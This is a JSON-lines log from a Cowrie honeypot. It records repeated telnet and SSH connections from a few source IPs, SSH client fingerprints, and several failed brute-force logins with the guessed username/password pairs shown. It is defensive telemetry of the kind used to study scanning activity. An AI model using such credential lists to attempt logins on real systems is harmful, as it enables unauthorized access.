{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc6796e0ac6","protocol":"telnet","message":"New connection: 213.129.84.225:51980 (159.203.135.109:23) [session: 6fc6796e0ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:58.930511Z"}
{"eventid":"cowrie.session.closed","duration":30.447357416152954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:59.041658Z","src_ip":"213.129.84.225","session":"f54cb1e97aac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52708,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d031aba2b4d","protocol":"telnet","message":"New connection: 213.129.84.225:52708 (159.203.135.109:23) [session: 1d031aba2b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:59.100317Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":51394,"dst_ip":"159.203.135.109","dst_port":23,"session":"5957cd0ac51e","protocol":"telnet","message":"New connection: 213.129.84.225:51394 (159.203.135.109:23) [session: 5957cd0ac51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:59.782775Z"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":40084,"dst_ip":"10.17.0.5","dst_port":22,"session":"e60af8646eb4","protocol":"ssh","message":"New connection: 58.186.20.101:40084 (10.17.0.5:22) [session: e60af8646eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:59.868386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:17:59.873039Z","src_ip":"58.186.20.101","session":"e60af8646eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.90569567680359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.042271Z","src_ip":"213.129.84.225","session":"f19b7ba23452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07648277282715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.103468Z","src_ip":"213.129.84.225","session":"57343a0bdfb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.442903995513916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.109365Z","src_ip":"213.129.84.225","session":"81ea536b389b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.135918Z","src_ip":"58.186.20.101","session":"e60af8646eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58456,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d12003e6555","protocol":"telnet","message":"New connection: 213.129.84.225:58456 (159.203.135.109:23) [session: 4d12003e6555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.399501Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bb5ab201b90","protocol":"telnet","message":"New connection: 213.129.84.225:59356 (159.203.135.109:23) [session: 2bb5ab201b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.628916Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55256,"dst_ip":"159.203.135.109","dst_port":23,"session":"bad0213b3142","protocol":"telnet","message":"New connection: 213.129.84.225:55256 (159.203.135.109:23) [session: bad0213b3142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.665314Z"}
{"eventid":"cowrie.session.closed","duration":31.377114057540894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:00.824468Z","src_ip":"213.129.84.225","session":"9f95af7f073c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456","message":"login attempt [root/admin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:01.226092Z","src_ip":"58.186.20.101","session":"e60af8646eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44146,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dfb332a6f53","protocol":"telnet","message":"New connection: 207.148.4.7:44146 (159.203.135.109:23) [session: 1dfb332a6f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:01.245127Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"55bd43aa8eb2","protocol":"telnet","message":"New connection: 213.129.84.225:36790 (159.203.135.109:23) [session: 55bd43aa8eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:01.921304Z"}
{"eventid":"cowrie.session.closed","duration":31.00254535675049,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:02.141247Z","src_ip":"213.129.84.225","session":"d6435c039081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:02.493428Z","src_ip":"58.186.20.101","session":"e60af8646eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.567497730255127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:03.066286Z","src_ip":"213.129.84.225","session":"78977201790a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44304,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3fbb94332a","protocol":"telnet","message":"New connection: 213.129.84.225:44304 (159.203.135.109:23) [session: cb3fbb94332a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:03.628289Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":44154,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24002c44ec9","protocol":"telnet","message":"New connection: 207.148.4.7:44154 (159.203.135.109:23) [session: f24002c44ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:03.826650Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49594,"dst_ip":"159.203.135.109","dst_port":23,"session":"60a520a7593f","protocol":"telnet","message":"New connection: 213.129.84.225:49594 (159.203.135.109:23) [session: 60a520a7593f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:04.773978Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"042decca8c8d","protocol":"telnet","message":"New connection: 207.148.4.7:45932 (159.203.135.109:23) [session: 042decca8c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:04.967083Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45938,"dst_ip":"159.203.135.109","dst_port":23,"session":"65fdcb224f0c","protocol":"telnet","message":"New connection: 207.148.4.7:45938 (159.203.135.109:23) [session: 65fdcb224f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:05.195765Z"}
{"eventid":"cowrie.session.closed","duration":52.93089270591736,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:05.380616Z","src_ip":"137.184.155.248","session":"ee058c8c4d3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56896,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9f1811969c7","protocol":"telnet","message":"New connection: 213.129.84.225:56896 (159.203.135.109:23) [session: c9f1811969c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:06.352260Z"}
{"eventid":"cowrie.session.closed","duration":30.966509103775024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:06.751024Z","src_ip":"213.129.84.225","session":"85ef3819ad8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.331247091293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:07.532984Z","src_ip":"207.148.4.7","session":"e5849b3495fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36254,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecedf265f68c","protocol":"telnet","message":"New connection: 213.129.84.225:36254 (159.203.135.109:23) [session: ecedf265f68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.017407Z"}
{"eventid":"cowrie.session.closed","duration":31.07707190513611,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.064601Z","src_ip":"213.129.84.225","session":"b0475cfed914","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36508,"dst_ip":"159.203.135.109","dst_port":23,"session":"602014e02139","protocol":"telnet","message":"New connection: 213.129.84.225:36508 (159.203.135.109:23) [session: 602014e02139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.089372Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37362,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6dd86a8e87a","protocol":"telnet","message":"New connection: 213.129.84.225:37362 (159.203.135.109:23) [session: b6dd86a8e87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.274361Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37366,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a3e70c9df93","protocol":"telnet","message":"New connection: 213.129.84.225:37366 (159.203.135.109:23) [session: 0a3e70c9df93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.280018Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45940,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6adc9a725de","protocol":"telnet","message":"New connection: 207.148.4.7:45940 (159.203.135.109:23) [session: a6adc9a725de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.836674Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40614,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1df9c52e4fe","protocol":"telnet","message":"New connection: 213.129.84.225:40614 (159.203.135.109:23) [session: a1df9c52e4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.947659Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40676,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce9711796cad","protocol":"telnet","message":"New connection: 213.129.84.225:40676 (159.203.135.109:23) [session: ce9711796cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:08.960685Z"}
{"eventid":"cowrie.session.closed","duration":31.03974437713623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:09.041396Z","src_ip":"213.129.84.225","session":"0d81c0a208c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654900312423706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:10.061880Z","src_ip":"213.129.84.225","session":"a6cd336d6e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47592,"dst_ip":"159.203.135.109","dst_port":23,"session":"84306aba47b8","protocol":"telnet","message":"New connection: 213.129.84.225:47592 (159.203.135.109:23) [session: 84306aba47b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:10.454578Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dbf582d9bb5","protocol":"telnet","message":"New connection: 137.184.155.248:51242 (10.17.0.5:23) [session: 7dbf582d9bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:11.266036Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53926,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9e468bf1f0a","protocol":"telnet","message":"New connection: 213.129.84.225:53926 (159.203.135.109:23) [session: f9e468bf1f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:11.807008Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54272,"dst_ip":"159.203.135.109","dst_port":23,"session":"117e3365a48d","protocol":"telnet","message":"New connection: 213.129.84.225:54272 (159.203.135.109:23) [session: 117e3365a48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:11.892574Z"}
{"eventid":"cowrie.session.closed","duration":30.31710410118103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:12.063458Z","src_ip":"213.129.84.225","session":"24c857f6bb87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622003078460693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:12.193437Z","src_ip":"213.129.84.225","session":"9a587494fe7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55834,"dst_ip":"159.203.135.109","dst_port":23,"session":"55db3a240466","protocol":"telnet","message":"New connection: 213.129.84.225:55834 (159.203.135.109:23) [session: 55db3a240466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:12.254565Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56978,"dst_ip":"159.203.135.109","dst_port":23,"session":"18f1dcb2247b","protocol":"telnet","message":"New connection: 213.129.84.225:56978 (159.203.135.109:23) [session: 18f1dcb2247b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:12.484766Z"}
{"eventid":"cowrie.session.closed","duration":31.03130340576172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:13.239676Z","src_ip":"207.148.4.7","session":"53b6033f4b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":45948,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05ad3906fcd","protocol":"telnet","message":"New connection: 207.148.4.7:45948 (159.203.135.109:23) [session: a05ad3906fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:14.010558Z"}
{"eventid":"cowrie.session.closed","duration":31.062434434890747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:14.049117Z","src_ip":"213.129.84.225","session":"8e7804715e93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90181589126587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:14.160446Z","src_ip":"213.129.84.225","session":"bb20b5fb5391","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38114,"dst_ip":"159.203.135.109","dst_port":23,"session":"8797147a19e1","protocol":"telnet","message":"New connection: 213.129.84.225:38114 (159.203.135.109:23) [session: 8797147a19e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:14.419639Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40316,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e37bf3555bb","protocol":"telnet","message":"New connection: 213.129.84.225:40316 (159.203.135.109:23) [session: 6e37bf3555bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:14.827045Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35474,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b8279d41aa7","protocol":"telnet","message":"New connection: 213.129.84.225:35474 (159.203.135.109:23) [session: 8b8279d41aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:14.859002Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41766,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ef40d65b42a","protocol":"telnet","message":"New connection: 213.129.84.225:41766 (159.203.135.109:23) [session: 4ef40d65b42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.152905Z"}
{"eventid":"cowrie.session.closed","duration":47.29811978340149,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.158376Z","src_ip":"137.184.155.248","session":"7168f224d953","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.148.4.7","src_port":52720,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f71790e7fb","protocol":"telnet","message":"New connection: 207.148.4.7:52720 (159.203.135.109:23) [session: 47f71790e7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.172766Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42526,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff0c28eb97a7","protocol":"telnet","message":"New connection: 213.129.84.225:42526 (159.203.135.109:23) [session: ff0c28eb97a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.301148Z"}
{"eventid":"cowrie.session.closed","duration":31.124534368515015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.322881Z","src_ip":"213.129.84.225","session":"6848c1b19fe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24061,"dst_ip":"10.17.0.5","dst_port":22,"session":"355a1a7e7b5e","protocol":"ssh","message":"New connection: 2.57.121.25:24061 (10.17.0.5:22) [session: 355a1a7e7b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.575367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.580713Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.680330Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.510271072387695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:15.902861Z","src_ip":"213.129.84.225","session":"d5af0ad76f01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825605392456055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:16.079030Z","src_ip":"213.129.84.225","session":"5fe079c7c1f9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"buratino","message":"login attempt [user/buratino] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:16.150228Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95828890800476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:16.275379Z","src_ip":"213.129.84.225","session":"a493a77e3af5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48212,"dst_ip":"159.203.135.109","dst_port":23,"session":"941816db5552","protocol":"telnet","message":"New connection: 213.129.84.225:48212 (159.203.135.109:23) [session: 941816db5552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:16.494673Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48726,"dst_ip":"159.203.135.109","dst_port":23,"session":"67bc4780541d","protocol":"telnet","message":"New connection: 213.129.84.225:48726 (159.203.135.109:23) [session: 67bc4780541d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:16.600084Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44024,"dst_ip":"159.203.135.109","dst_port":23,"session":"589d7a04f2e0","protocol":"telnet","message":"New connection: 213.129.84.225:44024 (159.203.135.109:23) [session: 589d7a04f2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:16.648956Z"}
{"eventid":"cowrie.session.closed","duration":30.33619523048401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:17.041908Z","src_ip":"213.129.84.225","session":"ce18cfa30aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6068696975708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:17.069959Z","src_ip":"213.129.84.225","session":"e0d7ecad6ff0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"bulls23","message":"login attempt [user/bulls23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:18:17.251712Z","src_ip":"2.57.121.25","session":"355a1a7e7b5e","protocol":"ssh"}
